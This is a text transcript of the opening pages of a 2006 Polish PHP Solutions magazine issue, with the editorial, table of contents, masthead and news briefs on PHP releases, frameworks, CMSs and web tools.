PHPSolutions_2_2006_PL

84

Transcript of PHPSolutions_2_2006_PL

Page 1: PHPSolutions_2_2006_PL

01_okladka_PL.indd 1 2006-01-12, 17:14:35

Page 2: PHPSolutions_2_2006_PL

02_03_Devcon_R_PL.indd 2 2006-01-12, 17:26:21

Page 3: PHPSolutions_2_2006_PL

02_03_Devcon_R_PL.indd 3 2006-01-12, 17:27:37

Page 4: PHPSolutions_2_2006_PL

Spis treści

www.phpsolmag.org4 PHP Solutions Nr 2/2006

Trudno nie odnieść wrażenia, że obawy o bezpie-

czeństwo aplikacji WWW (opartych na PHP i Apa-

che'u) spędzają sen z powiek wielu administratorom

i projektantom systemów. Dochodzi do groźnych w skut-

kach włamań do portali działających na bardzo znanych

systemach CMS typu Open Source (np. XOOPS). Do

ataku intruzi wykorzystują dziury w Apache'u czy forach

dyskusyjnych (np. phpBB). Nawet uważane za bez-

pieczne opensourcowe sklepy internetowe (np. osCom-

merce) wcale takie nie są. Coraz częściej jesteśmy świadkami zhakowanej

strony jakiegoś ważnego projektu (czy też nielubianego polityka :-)) lub, co

gorsza, skasowania plików na naszym serwerze po ostatnim nocnym wła-

maniu (np. tych, których właścicielem był użytkownik apache).

Czy zatem rysuje się przed nami totalnie czarny scenariusz? Czy wy-

korzystujący aplikacje Open Source skazani są na wieczne obawy i stres?

Czy właściciele aplikacji o zamkniętym kodzie mogą czuć się bezpiecznie

(np. IIS Microsoftu)? Przecież do ataku może dojść w każdej chwili, a cią-

głe aktualizacje oprogramowania są męczące, a czasami nawet trudne lub

wręcz niemożliwe do przeprowadzenia, np. z powodu niekompatybilności

nowych aplikacji (np. korzystających z PHP5) ze starym oprogramowa-

niem (np. środowiskiem Apache+PHP4+MySQL). Ach, ten Open Source

– chciałoby się rzec.

Na domiar złego, opracowania poświęcone bezpieczeństwu aplikacji

tworzonych w PHP traktują temat dość ogólnikowo i zbyt teoretycznie – czę-

sto w oderwaniu od rzeczywistych zagrożeń. Wiem, trudno jest stworzyć

jedno wyczerpujące opracowanie – potrzeba tu całej serii artykułów.

Dlatego w PHP Solutions rozpoczynamy cykl artykułów poświęconych

wybranym i najważniejszym aspektom bezpieczeństwa aplikacji WWW.

Pokażemy Wam metody ataków i obrony w praktyce oraz odpowiemy

na wspomniane pytania. Zaczniemy od ataków XSS i CSRF, o których

przeczytacie w artykule Ilii Alshanetsky'ego (http://ilia.ws) – autora książki

Guide to PHP Security, twórcy FUDforum i wielu rozszerzeń PHP. XSS

i CSRF to ataki mało znane wśród programistów, ale bardzo złośliwe

i groźne. Pokażemy kilka ciekawych przykładów, wcielając sie w rolę po-

tencjalnego włamywacza.

Gdy już poczujemy się bezpieczniej, przejdziemy do ułatwiania sobie

życia i pracy. W obecnym numerze rozpoczynamy cykl poświęcony wyko-

rzystaniu wzorców projektowych – z artykułu Pawła Kozłowskiego i Piotra

Szarwasa dowiecie się, jak zbudować elastyczną i solidną aplikację w PHP.

Zobaczycie też, jak nowe architektury, takie jak iConnect, przenoszą funkcjo-

nalność J2EE i .NET do PHP. Dowiecie się więcej o SDO, o którym pisaliśmy

już w poprzednim numerze, jak również o budowaniu aplikacji okienkowych

w PHP-GTK2 z wykorzystaniem narzędzia Glade GUI Builder.

A na CD czeka na Was niespodzianka: m.in. nowy PHP Solutions Live

oraz multimedialny kurs PHP (w tym PHP5) fi rmy KeyStone Learning Sys-

tems.

Zapraszam do lektury i zabawy,

Dariusz Pawłowski

POCZĄTKI

Wzorce projektowe w akcji

– rozwiązania znanych

problemów w praktyce 16

Paweł Kozłowski, Piotr Szarwas

Znajomość wzorców przyspiesza samodzielne

rozwiązywanie wielu problemów programistycz-

nych i systematyzuje terminologię używaną

przez programistów. Ta wiedza zdecydowanie

oszczędza czas potrzebny na stworzenie dobrze

działającej i poprawnie skonstruowanej aplikacji.

W artykule pokażemy w przystępny i solidny

sposób praktyczne wykorzystanie wzorców pro-

jektowych w implementacji aplikacji w PHP5.

TECHNIKI

Obiektowa linia montażowa,

czyli przejrzyste i elastyczne

aplikacje w PHP5 24

Paweł Kozłowski

Jeśli przyjrzymy się wewnętrznej strukturze

zorientowanej obiektowo aplikacji, z łatwością

dostrzeżemy sieć wielu, współpracujących ze

sobą obiektów. Kluczowe staje się pytanie: jak

połączyć ten ogrom funkcjonalności zamknięty

w poszczególnych obiektach w jeden spójny

program? W jaki sposób dwa współpracujące ze

sobą obiekty dowiadują się o swoim istnieniu?

Z artykułu dowiecie się jak przejrzyście i efektyw-

nie projektować aplikacje obiektowe, na przykła-

dzie forum internetowego.

Service Data Objects, czyli

uniwersalny standard dostępu

do danych – część druga 34

Piotr Szarwas

Wracamy do SDO: rozwiązania, które zrewolu-

cjonizuje i zunifi kuje sposób dostępu do danych

w PHP. Tym razem pokażemy, jak szalenie

użyteczne staje się SDO w świecie XML-a, zdej-

mując z barków programisty ciężar przenoszenia

danych między systemem bazodanowym a pli-

kami XML.

NARZĘDZIA

Tworzenie rozwiązań klasy

Enterprise przy zastosowaniu

Solarix iConnect 40

Alex Pagnoni

Ileż razy zdarzało Ci się spotykać na forach

i listach dyskusyjnych stwierdzenia w rodzaju

“PHP to nie Java, tylko prosty język skryptowy.

Potrzebujemy czegoś profesjonalnego, do two-

rzenia poważnych projektów”. Dzięki Solarix

iConnect możesz powiedzieć autorom tych

wypowiedzi, że się mylą i będziesz miał rację:

oto nadchodzi epoka profesjonalnej architektury

programistycznej w PHP, na miarę rozwiązań

typu J2EE czy .NET.

04_05_spis_trescii_PL.indd 4 2006-01-12, 17:16:27

Page 5: PHPSolutions_2_2006_PL

Spis treści

www.phpsolmag.org 5PHP Solutions Nr 2/2006

Recenzje książek 81

BEZPIECZEŃSTWONiebezpieczeństwa atakówXSS i CSRF 48

Ilia Alshanetsky

Spośród wszystkich podatności dotykających

aplikacje internetowe, najczęściej spotykane są

ataki XSS i CSRF. W artykule pokażemy czym

one są, jak się je przeprowadza oraz jak się przed

nimi obronić.

PROJEKTYPiszemy monitor serwera w PHP 56

Patrick O'Brien

Wydaje nam się, że jeśli jeden z naszych serwe-

rów ulegnie awarii, ktoś bardzo szybko nas o tym

poinformuje. W rzeczywistości nic takiego się nie

wydarzy, ponieważ każdy przyjmuje, że sami

dbamy o swój sprzęt. Artykuł pokazuje budowę

prostego systemu monitorowania serwera, pre-

zentującego wyniki w formie wykresów.

Glade GUI Builder– piszemy generator faktur 64

Pablo Dall'Oglio

Ręczne stworzenie interfejsu grafi cznego GTK

dla aplikacji PHP nie jest zadaniem trudnym,

a może zaowocować lepszą wydajnością.

Wymaga jednak sporo czasu. W takiej sytuacji

konieczne staje się skorzystanie z narzędzia

grafi cznego, takiego jak Glade. Pokażemy jak

prosto i szybko tworzyć rozbudowane interfejsy.

PEARStructures_DataGrid dla danych tabelarycznych 72

Aaron Wormus

Tworzenie prostych i estetycznych prezentacji da-

nych tabelarycznych w PHP powinno być równie

łatwe, jak za pomocą arkuszy kalkulacyjnych czy

edytorów HTML. Służy temu Structures_Data-

Grid, pozwalając na swobodny wybór źródła da-

nych i formy prezentacji, a także eksport wyników

do takich formatów, jak XLS (MS Excel) czy CSV.

VARIA

Sukces PHP i Wikpedii:wywiad z Elizabeth Bauer 14

Krzysztof Sobolewski

Listingi wszystkich opisywanych programów zostały zamieszczone na naszej stronieinternetowej www.phpsolmag.org/pl.

Pytania dotycząceprenumeratytel. (22) 887 14 44

e-mail: [email protected]

Software Wydawnictwo Sp. z o.o.

dział prenumeraty

ul. Piaskowa 3

01-067 Warszawa

CDtel. (22) 887 14 44

e-mail: [email protected]

Software Wydawnictwo Sp. z o.o.

Defekty CD/DVD

ul. Piaskowa 3

01-067 Warszawa

Zamówienia /Numery archiwalnetel. (22) 887 14 44

e-mail: [email protected]

sklep on-line: www.shop.software.com.pl

Kontakt z redakcjąe-mail: [email protected]

Software Wydawnictwo Sp. z o.o.

Redakcja PHP Solutions

ul. Piaskowa 3

01-067 Warszawa

Strona WWW/Forumstrona www: www.phpsolmag.org

Tu znajdą Państwo informacje

dotyczące aktualnych i przyszłych

numerów magazynu PHP Solutions.

Forum: www.phpsolmag.org/newforum

Zachęcamy do dyskusji na naszym

forum. Czekamy na propozycje

tematów, które chcieliby Państwo

znaleźć w najbliższym numerze pisma.

Zapraszamy także do wymiany

poglądów z innymi fanami PHP.

Cena Prenumerata: 135 zł

Przelew na konto nr:

46 1440 1299 0000 0000 0391 8238

Nordea Bank Polska S.A.

II Oddział w Warszawie

PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o.

Dyrektor Wydawniczy: Jarosław Szumski

Market Manager: Sylwia Tuśnio [email protected]

Product Manager: Maciej Krawcewicz [email protected]

Redaktor prowadzący: Dariusz Pawłowski [email protected]

Stali współpracownicy: Paweł Kozłowski [email protected], Paweł Grzesiak [email protected]

Kierownik produkcji: Marta Kurpiewska [email protected]

Projekt okładki: Agnieszka Marchocka

Skład i łamanie: Agnieszka Zadrożna [email protected]

Dział reklamy: [email protected]

Prenumerata: Marzena Dmowska [email protected]

Nakład: 6 000 egz.

Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o.,

ul. Piaskowa 3, 01-067 Warszawa, Polska

tel. +48 22 887 10 10, fax +48 22 887 10 11

www.phpsolmag.org [email protected]

Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit fi rmy G DATA Software Sp. z o.o.

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje

i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje

także poprawnego działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki fi rmowe zawarte w piśmie są własnością odpowiednich fi rm

i zostały użyte wyłącznie w celach informacyjnych.

Redakcja używa systemu automatycznego składu

Do tworzenia wykresów i diagramów wykorzystano program fi rmy

Osoby zainteresowane współpracą prosimy o kontakt: [email protected]

Druk: ArtDruk

Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu

i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.

Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce– bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.

Pismo ukazuje się w następujących wersjach językowych:

polskiej , francuskiej , niemieckiej oraz włoskiej .

Opis CD 12

Aktualności 6

Felieton: PHP: Hobby,które przynosi zysk 80

Guillaume Ponçon

04_05_spis_trescii_PL.indd 5 2006-01-12, 17:33:47

Page 6: PHPSolutions_2_2006_PL

Aktualności

PHP Solutions Nr 2/2006www.phpsolmag.org6

MediaWiki 1.5.3Ukazała się nowa wersja MediaWiki, oznaczo-

na symbolem 1.5.3. Oprogramowanie pozwala

na uruchomienie encyklopedii Wikipedia na

własnej stronie WWW. Do najważniejszych

zmian można zaliczyć poprawienie krytycznego

błędu bezpieczeństwa, który dotyczył modułu

odpowiedzialnego za walidację języka interfejsu

użytkownika. Jako że wszystkie poprzednie

wersje 1.5.x są obarczone tym błędem, zaleca

się aktualizację oprogramowania.

Licencja: GPL

http://www.mediawiki.org

PHP 5.1.0Zespół PHP ogłosił zakończenie prac nad PHP

5.1.0, co zaowocowało wypuszczeniem fi nalnej,

stabilnej wersji. Całkowicie przepisano w niej

kod odpowiedzialny za zarządzanie datami,

co skutkuje lepszą obsługą stref czasowych.

Odnotowano też znaczący wzrost wydajności

skryptów w stosunku do poprzednich wersji

5.0.x. Rozszerzenie PDO zakończyło fazy eks-

perymentalne i na stałe zagościło w dystrybucji

PHP. Język wzbogacił się o ponad 30 nowych

funkcji, które uzupełniły dotychczasowe rozsze-

rzenia. Zaktualizowano PEAR do wersji 1.4.5,

a także PCRE oraz SQLite. Poprawiono ponad

400 różnego rodzaju bugów.

http://www.php.net

PHP 5.1.1Potrzeba było zaledwie czterech dni, by opubli-

kować kolejną stabilną wersję PHP, oznaczoną

symbolem 5.1.1. Ponieważ pojawił się problem

konfl iktu nazewnictwa z biblioteką PEAR,

z PHP wycofano natywną klasę do obsługi

daty. Poprawiono krytyczny błąd, który pojawiał

się, gdy ostatnią linią kodu w skrypcie był

komentarz PHP. W PHP 5.1.0 użycie \{$var}

powodowało wyświetlenie {$var} zamiast

oczekiwanego $var. Usunięto niekonsekwen-

cję w formacie PHP_AUTH_DIGEST, która

miała miejsce pomiędzy Apache 1 a 2.

AutodeskAutodesk, fi rma, która znana jest przede wszyst-

kim z narzędzi do renderowania grafi ki prze-

strzennej, planuje w pierwszych miesiącach tego

roku udostępnić pełny kod swojej aplikacji Map-

Server Enterprise. Służy ona do generowania

i wyświetlania map geografi cznych na stronach

WWW. Oprogramowanie umożliwi programistom

tworzenie oprogramowania opartego o PHP,

.NET i Java i przy tym efektywnie wykorzystują-

cego możliwości MapServer. Program zostanie

udostępniony na licencji Open Source. Pojawią

się listy dyskusyjne, raportowanie błędów i możli-

wość wnoszenia własnych poprawek.

http://www.autodesk.com

SmileTAGShoutbox to małe okienko umieszczane na

stronach WWW, w którym publikowane są

minikomentarze Internautów. SmileTAG to

kompletny skrypt implementujący ten pomysł.

Zbudowano go w oparciu o system szablo-

nowy o dużych możliwościach, z łatwymi do

modyfi kacji szablonami, wymagającymi opano-

wania jedynie podstawowych tagów. Okienko

odświeża się automatycznie tylko wówczas, gdy

pojawia się nowa wiadomość (wykorzystuje do

tego technologię AJAX). Do pracy SmileTAG

nie jest wymagana baza danych. Wszystkie

informacje zapisywane są w plikach XML.

Skrypt zabezpieczono przed nadużyciami. Do

dyspozycji oddano fi ltr niecenzuralnych treści,

blokadę zbyt długich i bezsensownych wypowie-

dzi, banowanie adresów IP i nicków. Ponadto

można wprowadzać własne emotikony. Skrypt

obsługuje wiele języków i kontroluje strefy cza-

sowe. Rozpoznaje adresy e-mail i URL w treści.

Licencja: GPL

http://www.smiletag.com

Spotkanie developerów PHP

W dniach 11 i 12 listopada odbyło

się w Paryżu spotkanie dewe-

loperów PHP, na którym omawiano

zachodzące w języku zmiany oraz pró-

bowano rozwiązać wiele problemów,

z którymi spotykają się programiści.

Dyskutowano na temat nadchodzących

wersji, a szczególnie na temat innowacji

w PHP6.

Pierwszą część spotkania po-

święcono pełnemu wparciu standardu

Unicode w PHP6. Mówiono także

o oczyszczaniu PHP ze złych rozwią-

zań, takich jak register _ globals, które

jest przyczyną wielu problemów zwią-

zanych z bezpieczeństwem. Za proble-

matyczny uznano tryb safe _ mode, czy

parametr magic _ quotes, który okazał

się nieporęcznym narzędziem w rękach

programistów. Tryb safe _ mode rodził

wiele problemów związanych z tym,

które pliki może modyfi kować skrypt,

a do których ma mieć zablokowany

dostęp. Docelowo obie funkcje zostaną

usunięte z PHP. Także biblioteki freety-

pe 1 i GD 1 zostaną usunięte z PHP, ja-

ko przestarzałe. Funkcję dl() spotkają

modyfi kacje. Będzie ona dostępna wy-

łącznie z warstwy SAPI. Na spotkaniu

nie zabrakło także informacji o repo-

zytorium PECL i konieczności wzboga-

cenia o nowe możliwości silnika Zend.

Wszystkie rozszerzenia do obsługi baz

danych, zostaną usunięte z ofi cjalnej

dystrybucji i wylądują w repozytorium

PECL. Jedyną metodą obsługi baz

pozostanie PDO. Spotkanie poruszało

także problematykę programowania zo-

rientowanego obiektowo w PHP. Wykaz

omawianych tematów znajduje się na

witrynach php.net.

http://www.php.net/~derick/meeting-no-

tes.html

Zen Cart – profesjonalny sklep internetowy dla wymagających

Zen Cart należy do najlepszych apli-

kacji sklepów internetowych. Jest łu-

dząco podobny do osCommerce, ponie-

waż został stworzony na jego podstawie,

lecz pod względem funkcjonalnym bije

go na głowę. Oprogramowanie w dużej

części przepisano, udoskonalając do-

tychczasowe możliwości i dodając do-

datkowe moduły. Zen Cart bazuje na

wielu sprawdzonych aplikacjach i został

stworzony przy ścisłej współpracy z wła-

ścicielami wielu rozwiązań e-commerce.

Dzięki temu deweloperzy dokładnie

wiedzieli, co sklep internetowy powinien

zawierać i jak działać, aby przynosił

wymierne korzyści. Mamy do dyspozy-

cji instalator w postaci kreatora, dzięki

czemu instalacja przebiega wyjątkowo

przyjemnie i bez zgrzytów.

Zen Cart posiada wszystko to, co

dobry sklep posiadać powinien – sze-

roki wachlarz standardowych opcji, ta-

kich jak dodawanie nowych produktów

i kategorii, moduły promocji, kupony

rabatowe, prezenty, czy lista mailingo-

wa i powiadamianie o produktach. Moż-

liwe jest ustalenie specjalnych cen

na wybrane przedmioty lub rabaty

na cały asortyment. Uwagę zwraca

przyjazny panel administracyjny, ze

zautomatyzowanymi zadaniami, takimi

jak wysyłanie potwierdzenia przyjęcia

zamówienia. Oprogramowanie wzbo-

gacono o narzędzia ułatwiające po-

zycjonowanie w wyszukiwarkach. Nie

zabrakło zatem narzędzia do tworzenia

przyjaznych dla użytkownika odnośni-

ków. Program obsługuje wiele języków,

walut i schematów podatkowych. Zen

Cart jest udostępniany na licencji Open

Source. Witryna internetowa zawiera

przydatne FAQ, czyli listę najczęściej

zadawanych pytań, a także forum, na

którym znajdziemy wielu użytkowników

tego rozwiązania.

Licencja: GPL

http://www.zen-cart.com/

06_07_08_09_10_aktualnosci_PL.indd 6 2006-01-12, 17:30:16

Page 7: PHPSolutions_2_2006_PL

Aktualności

PHP Solutions Nr 2/2006 www.phpsolmag.org 7

DestructorJeżeli brakuje nam w PHP4 funkcji destrukto-

ra klasy, to ta biblioteka powstała, by sprostać

naszym potrzebom. Biblioteka pracuje jako

klasa bazowa i pilnuje wszystkich pracujących

pod nią obiektów, zainicjalizowanych jako jej

podklasy. Jeżeli skrypt PHP spróbuje zakoń-

czyć swoje działanie, zanim obserwowany

obiekt ulegnie destrukcji, biblioteka uruchomi

funkcje odpowiedzialne za destrukcję dostęp-

nych obiektów.

Licencja: GPL

http://www.phpclasses.org/browse/package/

2657.html

PHP SMTP RelayWysyłanie e-maili nie musi oznaczać

konieczności pośrednictwa serwera SMTP.

PHP SMTP Relay to prosta biblioteka, która

pozwala ominąć serwer poczty wychodzącej.

Użytkownik może wybierać pomiędzy dwoma

bibliotekami do nawiązania połączenia:

natywnym protokołem lub protokołem PEAR.

Biblioteka posiada wsparcie dla PHP 4 i 5,

pracując na systemach operacyjnych Win-

dows, Linux i Unix. Znajduje się we wczesnej

fazie rozwoju, choć już teraz działa szybko

i poprawnie.

Licencja: Public Domain

http://www.mail4mkt.com.br/phpsmtprelay

Molins – 200% object

oriented PHP frameworkMolins to w pełni obiektowy framework dla

PHP5, którego ideą jest przeniesienie J2EE

do świata PHP. Inspiracją do jego stworze-

nia były takie projekty jak: Struts, Junit, czy

Log4J. Molins ma także wiele wspólnego

z Jakarta Torque, czy Jakarta Commons. Do

ważnych zalet projektu można zaliczyć dobrą

integrację z systemem szablonowym Smarty,

współpracę z XSLT i umożliwienie tworzenia

logów systemowych. Molins pozwala także na

tworzenie testów jednostkowych. Framework

zalecany jest do budowy większych aplikacji,

a najszybciej przywykną do niego programiści

znający Javę.

Licencja: LGPL

http://www.phpize.com

PHP Link DirectorySzukając oprogramowania do obsługi kata-

logu stron WWW, warto zapoznać się z PHP

Link Directory. Do wygenerowania przyja-

znych odnośników wykorzystuje rozszerzenie

mod_rewrite serwera Apache. Katalog

potrafi jednocześnie wyświetlać PageRank

poszczególnych stron, pobierając aktualne

dane z serwerów Google. Aby ułatwić pracę

administratora, powstał system szablonów

wiadomości e-mail. Pozwala on na obsługę

wymiany odnośników, czy ułatwia wysyła-

nie informacji o zaakceptowaniu adresu do

włączenia do katalogu.

Licencja: GPL

http://www.phplinkdirectory.com

CBL Partial UpdaterTworzenie aplikacji opartych o model AJAX

jest coraz bardziej popularne. Powstaje

wiele bibliotek, które ma to zadanie ułatwić.

CBL Partial Updater, inaczej, niż większość

spotykanych bibliotek, kontroluje wszystkie

operacje po stronie serwera. Dzięki bibliotece

wszystkie istniejące skrypty PHP mogą zostać

zamienione na aplikacje w modelu AJAX

w czasie krótszym niż jedna minuta.

Licencja: LGPL

http://cbl-updater.sourceforge.net

OpenVZ

OpenVZ to aplikacja pracująca na

Linuksie i pozwalająca symulować

rzeczywisty serwer, tworząc niezależne,

odizolowane i bezpieczne wirtualne śro-

dowisko. OpenVZ dba o to, by na jednym

serwerze fi zycznym nie zachodziły żadne

konfl ikty między aplikacjami. Każdy wir-

tualny serwer (VPS) wykonuje wszystkie

operacje zachowując się dokładnie tak,

jakby był osobną, fi zyczną maszyną.

VPS może być zrestartowany niezależ-

nie, bez wpływu na inne. Posiada też

własnego roota, użytkowników, adres

IP, pamięć, procesy, pliki, czy biblioteki

systemowe i pliki konfi guracyjne. Projekt

uzyskał już miano wersji stabilnej. Auto-

rzy borykali się dotychczas z problemem

stabilności środowiska, w przypadku,

gdy mamy do czynienia z wieloma użyt-

kownikami. Jądro aplikacji stanęło przed

zadaniem obsłużenia wielu środowisk

jednocześnie, podczas, gdy standardowe

systemy operacyjne ograniczają się do

jednego. OpenVZ znajdzie zastosowanie

w hostingu, stwarzając możliwość utwo-

rzenia nawet kilkuset serwerów wirtual-

nych na jednej maszynie. Skalowalność

systemu jest zaskakująca. OpenVZ był

testowany z pozytywnym rezultatem na

maszynach wyposażonych w 8 proceso-

rów i 64 GB pamięci podręcznej.

Aktualna wersja OpenVZ, tj. 2.6.8,

wprowadziła sporo udoskonaleń do

projektu. Pojawiła się obsługa 64 bito-

wych procesorów, poprawiono rozliczne

luki w bezpieczeństwie, zaprojektowano

system do prowadzenia regularnych

optymalizacji systemu. OpenVZ to opro-

gramowanie o ogromnych możliwo-

ściach. Polecamy.

Licencja: GNU GPL, QPL

http://openvz.org

CN-STATS

CN-STATS to wielojęzyczny system

statystyk o dużych możliwościach.

Bazuje na PHP i MySQL, nie stawiając

zbytnich wymagań co do wydajności

serwera. Oprogramowanie zbiera wyniki

i dokonuje ich analizy.

Pozwala gromadzić dane o odwie-

dzinach użytkowników i wyszukiwarek

internetowych na naszym serwisie. Jedną

z funkcji CNStats jest sprawdzanie wej-

ściowych fraz wyszukiwawczych. Program

dostarcza też szczegółowych informacji

o witrynach, z których przybyli nasi użyt-

kownicy.

Zebrane wyniki możemy zaprezen-

tować w formie raportów oraz wykresów

(w tym liniowych i słupkowych). Warto

wspomnieć o możliwości generowania ra-

portów za określone przedziały czasowe,

np. z ostatnich 5 minut, 1 godziny, 23 go-

dzin, itd. Do wyboru odpowiedniego okre-

su czasu służy kalendarz. CNStats po-

zwala rozróżniać ruch jako wejścia botów

(wyszukiwarek internetowych) i użytkow-

ników. CNStats posiadają opcję spraw-

dzania efektywności kampanii reklamowej

prowadzonej na naszej witrynie, ułatwiając

zliczanie zdarzeń. Godną uwagi opcją jest

możliwość zakładania fi ltrów na wyniki

statystyk. Tak sporządzone przez program

wyniki będą lepiej oddawały rzeczywi-

stość. Dzięki opcji powiadamiania przez

e-mail niepotrzebne stanie się częste logo-

wanie do panelu. Wystarczy otworzyć

skrzynkę pocztową.

CNStats posiada specjalny moduł, któ-

ry pozwala na prezentację aktualnych sta-

tystyk w specjalnym okienku na naszej wi-

trynie. Możemy je dostosować do naszych

potrzeb.

Ciekawą funkcją CNStats jest również

lokowanie naszych gości na mapie świa-

ta. W tym celu potrzebujemy bazy danych

adresów IP, która zawiera aktualne pozy-

cje konkretnych komputerów i klas IP.

Podsumowując: CNStats to bardzo do-

bre rozwiązanie do badania odwiedzin i ru-

chu na naszej witrynie intenetowej.

Licencja: freeware (w pełni funkcjonalna)/

komercyjna

http://www.cnstats.com

06_07_08_09_10_aktualnosci_PL.indd 7 2006-01-12, 17:30:53

Page 8: PHPSolutions_2_2006_PL

Aktualności

PHP Solutions Nr 2/2006www.phpsolmag.org8

Symfony – frameworkdla wymagającychSymfony to framework stworzony dla PHP5, który z powodzeniem znajduje zastosowa-nie w budowie aplikacji klasy enterprise. Nazwany został odpowiednikiem narzędzi Rails (framework dla języka Ruby i bazy MySQL-a) czy Django (framework dla Py-thona) dla PHP. Symfony wykorzystuje wiele popularnych rozwiązań takich jak AJAX, przyjazne adresy URL, czy wielojęzyczność i bazuje na sprawdzonych projektach Open Source takich jak: Propel, Creole, Mojavi, Pake, PRADO, Spyc. Framework umoż-liwia debugowanie kodu i pisanie testów jednostkowych. Czytelny kod napisany z wykorzystaniem najlepszych praktyk programistycznych i wzorców projektowych czyni z Symfony bardzo elastyczne i łatwe w utrzymaniu rozwiązanie.Licencja: MIT/XCLhttp://www.symfony-project.com

QuickmailSkrypt czyta wiadomości e-mail z serwera IMAP i zwraca je w postaci dokumentów RSS. Dzięki formatowi RSS, informacje mogą zostać obrobione i wyświetlone w przeglą-darce, w postaci strony WWW lub obsłużone przez agregator RSS. Uniwersalność RSS to także możliwość przeglądania wiadomości za pomocą urządzeń przenośnych, obsługują-cych protokół WAP. Quickmail przygotowuje dokumenty spełniające standardy CSS, zgodne z RSS i WML.Licencja: GPLhttp://quickmail.johanfi tie.com

The Slooze PHP Web Photo AlbumThe Slooze to prosta galeria zdjęć dla nie-wymagających, działająca z wykorzystaniem plików tekstowych lub bazy danych MySQL. Wszystkie zdjęcia są organizowane w postaci katalogów, z możliwością łatwego przeszuki-wania. Slooze jest prosty w instalacji, posiada przejrzystą strukturę i łatwo rozszerzyć go o nowe możliwości. Wyjściowy kod aplikacji to czysty kod HTML, bez żadnych dodatkowych skryptów JavaScript, ramek i tabeli. Sprawia to, że aplikacja łatwo się integruje z istniejący-mi już stronami WWW. Licencja: GPLhttp://www.slooze.com

PHP VoiceTworzenie „gadających” aplikacji w PHP należy jeszcze do nowości. PHP Voice to zbiór czte-rech klas, które asystują przy rozwoju aplikacji głosowych. Otrzymujemy wsparcie dla Speech Synthesis Markup w wersji 1.0, Speech Reco-gnition Grammar w specyfi kacji 1.0, CCXML 1.0 oraz dla Voice Extensible Markup Language (VoiceXML) w wersji 2.0.Licencja: GPLhttp://vxml.sourceforge.net

PHP Quebec 2006W dniach 29 – 31 marca odbędzie się już po raz czwarty z rzędu konferencja PHP Qu-ebeck. W hotelu Montreal Plaza spotkają się twórcy języka i najbardziej znani deweloperzy PHP. Omówione zostaną zaawansowane techniki programistyczne, które zostały wprowadzone w nowych odsłonach. Kolejnym tematem będą profesjonalne narzędzia programistyczne, czyli rozwiązania, które zwiększą efektywność programisty. Będzie też mowa o bazach danych, a konkretniej o różnych rozwiązaniach, które mogą zostać użyte w PHP. http://www.phpquebec.org

GuppY – CMS bez bazy danych

CMS-y niewymagające bazy danych

to stosunkowo rzadko stosowane

rozwiązania. Kiedy jednak nie mamy

dostępu do serwera baz danych, Gup-

pY to idealne rozwiązanie: bazujący na

plikach tekstowych i oferujący całkiem

wiele, porządny CMS.

Mamy tu system newsów, komen-

tarzy, artykuły, dział download, FAQ,

książkę gości, sondy, listy mailingowe,

kalendarz, licznik, katalog odnośników

i wiele innych charakterystycznych dla

zwykłych CMS-ów funkcjonalności, w tym

wielojęzyczny interfejs.

Na uwagę zasługuje ciekawy,

wewnętrzny system przesyłania wia-

domości między użytkownikami. Gup-

pY obsługuje również format RSS.

Przewidziano też specjalną, lżejszą

wersję systemu dla urządzeń przeno-

śnych (PDA). Instalacja nie jest trudna

– konieczne jest nadanie odpowiednich

praw dla katalogów, w których będziemy

przechowywać dane. GuppY to dobre

rozwiązanie dla początkującego we-

bmastera – postawienie witryny na ser-

werze to przekopiowywanie plików, bez

zbędnej zabawy z bazami danych. Na

uwagę zasługuje też szybkość działania

aplikacji stworzonej w oparciu o Gup-

pY'ego – brak bazy danych to większa

wydajność systemu.

Licencja: CeCILL Free License

http://www.freeguppy.org

SVN i CVS for Dreamweaver

Prezentujemy dwa przydatne rozsze-

rzenia programu Dreamweaver, umo-

żliwiające współpracę z systemami kon-

troli wersji: CVS (Concurrent Versions

System) i SVN (Subversion). Oba sys-

temy współpracują z Dreamweaverem

w wersji 2.0.

System kontroli wersji to oprogramo-

wanie, które pozwala śledzić zmiany

zachodzące w tworzonym projekcie. Na-

rzędzie zapisuje wszystkie nanoszone

zmiany jako osobne wersje. Gdy zajdzie

potrzeba, możemy przywrócić nasz pro-

jekt do dowolnej wersji wcześniejszej,

czy też przeanalizować różnice, które

w nim zaszły.

Prezentowane oprogramowanie łączy

użyteczność CVS i SVN z przyjaznym

interfejsem dla użytkownika Dreamewa-

vera. Wszystkie operacje kontroli wersji

wykonujemy w obrębie aplikacji. Rozsze-

rzenie pozwala na tworzenie nowych

wersji, uaktualnienie już istniejących,

dokonywanie sprawdzeń, importowanie,

porównywanie różnic, kopiowanie, usu-

wanie, blokowanie, itd.

System SVN ma w niedalekiej

przyszłości zastąpić CVS. Celem je-

go twórców jest wyeliminowanie wad

charakterystycznych dla CVS, takich

jak brak możliwości efektywnego prze-

noszenia plików i zmiany ich nazw,

skomplikowane zarządzanie gałęzia-

mi, czy konieczność wielokrotnego

łączenia się z serwerem przy wielu

wykonywanych operacjach. Możliwości

rozszerzenia SVN są analogiczne do

CVS.

Podsumowując: program znajdzie

zastosowanie we wszystkich bardziej

skomplikowanych projektach, nad

którymi pracuje wielu programistów

jednocześnie. Ułatwi pracę i pozwoli

zapanować nad kodem.

Licencja: komercyjna ($59)

http://www.grafxsoftware.com/product.php/

CVS_for_Dreamweaver/22

06_07_08_09_10_aktualnosci_PL.indd 8 2006-01-12, 17:32:42

Page 9: PHPSolutions_2_2006_PL

Aktualności

PHP Solutions Nr 2/2006 www.phpsolmag.org 9

